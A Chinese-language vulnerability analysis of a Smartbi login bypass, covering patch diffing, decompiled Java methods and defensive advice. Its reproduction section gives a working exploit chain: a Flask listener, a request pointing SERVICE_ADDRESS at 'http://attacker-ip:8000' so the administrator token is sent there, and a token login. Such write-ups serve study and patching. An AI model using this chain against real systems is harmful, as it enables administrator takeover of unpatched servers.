smartbi 登录绕过漏洞分析
字数 1300 2025-08-06 08:35:03
Smartbi 登录绕过漏洞分析与复现
漏洞概述
Smartbi 是一款商业智能分析工具,2023年7月底修复了一个严重的登录绕过漏洞。该漏洞允许攻击者通过构造特定请求获取管理员Token,进而以管理员身份登录系统。
漏洞分析
补丁分析
通过分析补丁文件(patch.patches),发现修复点集中在路由接口规则实现类RejectSmartbixSetAddress.class中,主要涉及以下危险类和方法:
smartbix.datamining.service.MonitorService::getToken()
危险函数分析
getToken()方法的关键特征:
- 使用注解
@FunctionPermission({"NOT_LOGIN_REQUIRED"}),表示该接口不需要登录权限 - 核心代码逻辑:
String token = this.catalogService.getToken(10800000L);
pushLoginTokenByEngine方法实现:
private String pushLoginTokenByEngine(Long duration) {
IDAOModule daoModule = userManagerModule.getDaoModule();
IStateModule stateModule = userManagerModule.getStateModule();
if (daoModule.getFramework() != null && daoModule.getFramework().isActived()) {
String userId = "ADMIN";
String token = null;
String username = null;
User user = userManagerModule.getUserById(userId);
if (user != null && "1".equals(user.getEnabled())) {
username = user.getName();
token = username + "_" + UUIDGenerator.generate();
}
// ... 其他逻辑
}
}
Token生成机制:
- 固定使用"ADMIN"用户ID
- Token格式:
username + "_" + UUIDGenerator.generate() - 生成的Token会被保存到数据库中
请求处理流程
-
获取Token后,系统会根据type参数值进入不同分支:
if ("experiment".equals(type)) { EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]); } else if ("service".equals(type)) { EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")}); } -
URL构造过程:
- EngineUrl.getUrl()会构造URL:
{0}/api/v1/configs/engine/smartbitoken - 最终通过
EngineApi.address("engine-address")获取实际地址
- EngineUrl.getUrl()会构造URL:
-
地址获取逻辑:
public static String address(String type) { if (type.equals("engine-address")) { return SystemConfigService.getInstance().getValue("ENGINE_ADDRESS"); } else if (type.equals("service-address")) { return SystemConfigService.getInstance().getValue("SERVICE_ADDRESS"); } // ... }
修改地址接口
补丁中修复了6个设置地址的路由接口,以/setServiceAddress为例:
@PostMapping({"/setServiceAddress"})
public String setServiceAddress(@RequestBody String serviceAddress) {
if (!StringUtil.isNullOrEmpty(serviceAddress)) {
this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress);
return "Service address updated successfully";
} else {
return "Service address is empty";
}
}
注意:使用@RequestBody时,如果Content-Type为application/x-www-form-urlencoded,会导致存入的值是被URL编码后的,可能影响后续利用。
Token登录机制
登录接口位于smartbix.datamining.service.MonitorService中的loginByToken方法:
@PostMapping({"/smartbi/smartbix/api/monitor/login"})
public boolean loginByToken(@RequestParam("token") String token) {
return this.catalogService.loginByToken(token);
}
核心验证逻辑:
public boolean loginByToken(String token) {
// ...
UserLoginToken loginToken = (UserLoginToken)LoginTokenDAO.getInstance().load(token);
if (loginToken != null) {
if (loginToken.getCreateTime() != null &&
System.currentTimeMillis() - loginToken.getCreateTime().getTime() <= loginToken.getDuration()) {
userName = loginToken.getUserName();
}
}
// ...
return this.switchUser(userName);
}
漏洞复现步骤
1. 搭建伪造服务器
使用Python Flask搭建一个简单的接收Token的服务器:
from flask import *
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken', methods=["POST"])
def getToken():
print(request.data) # 这里会打印接收到的Token
return {}, 200, {"Content-Type": "application/json"}
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
2. 修改服务地址
发送POST请求修改SERVICE_ADDRESS为攻击者控制的服务器地址:
POST /setServiceAddress
Content-Type: application/json
"http://attacker-ip:8000"
3. 获取管理员Token
请求Token生成接口:
POST /getToken
Content-Type: application/x-www-form-urlencoded
type=service
此时伪造服务器会接收到包含管理员Token的请求。
4. 使用Token登录
使用获取到的Token请求登录接口:
POST /smartbi/smartbix/api/monitor/login
Content-Type: application/x-www-form-urlencoded
token=获取到的Token值
成功后会返回管理员会话。
注意事项
-
如果返回
false,可能是由于:- 使用nc监听时返回的不是JSON格式
- Token未被正确存入变量
-
解决方案:
- 确保伪造服务器返回合法的JSON响应
- 检查地址修改是否成功
-
补丁修复方式:
- 限制了地址修改接口的访问权限
- 对Token生成和验证逻辑进行了加固
防御建议
- 及时升级到最新版本
- 限制敏感接口的访问权限
- 对系统配置修改操作进行严格审计
- 实施网络隔离,限制内部服务间的通信
通过以上分析,我们可以全面了解该漏洞的成因、利用方式及防御措施。该漏洞的危害性较高,攻击者可以借此获取系统管理员权限,应引起足够重视。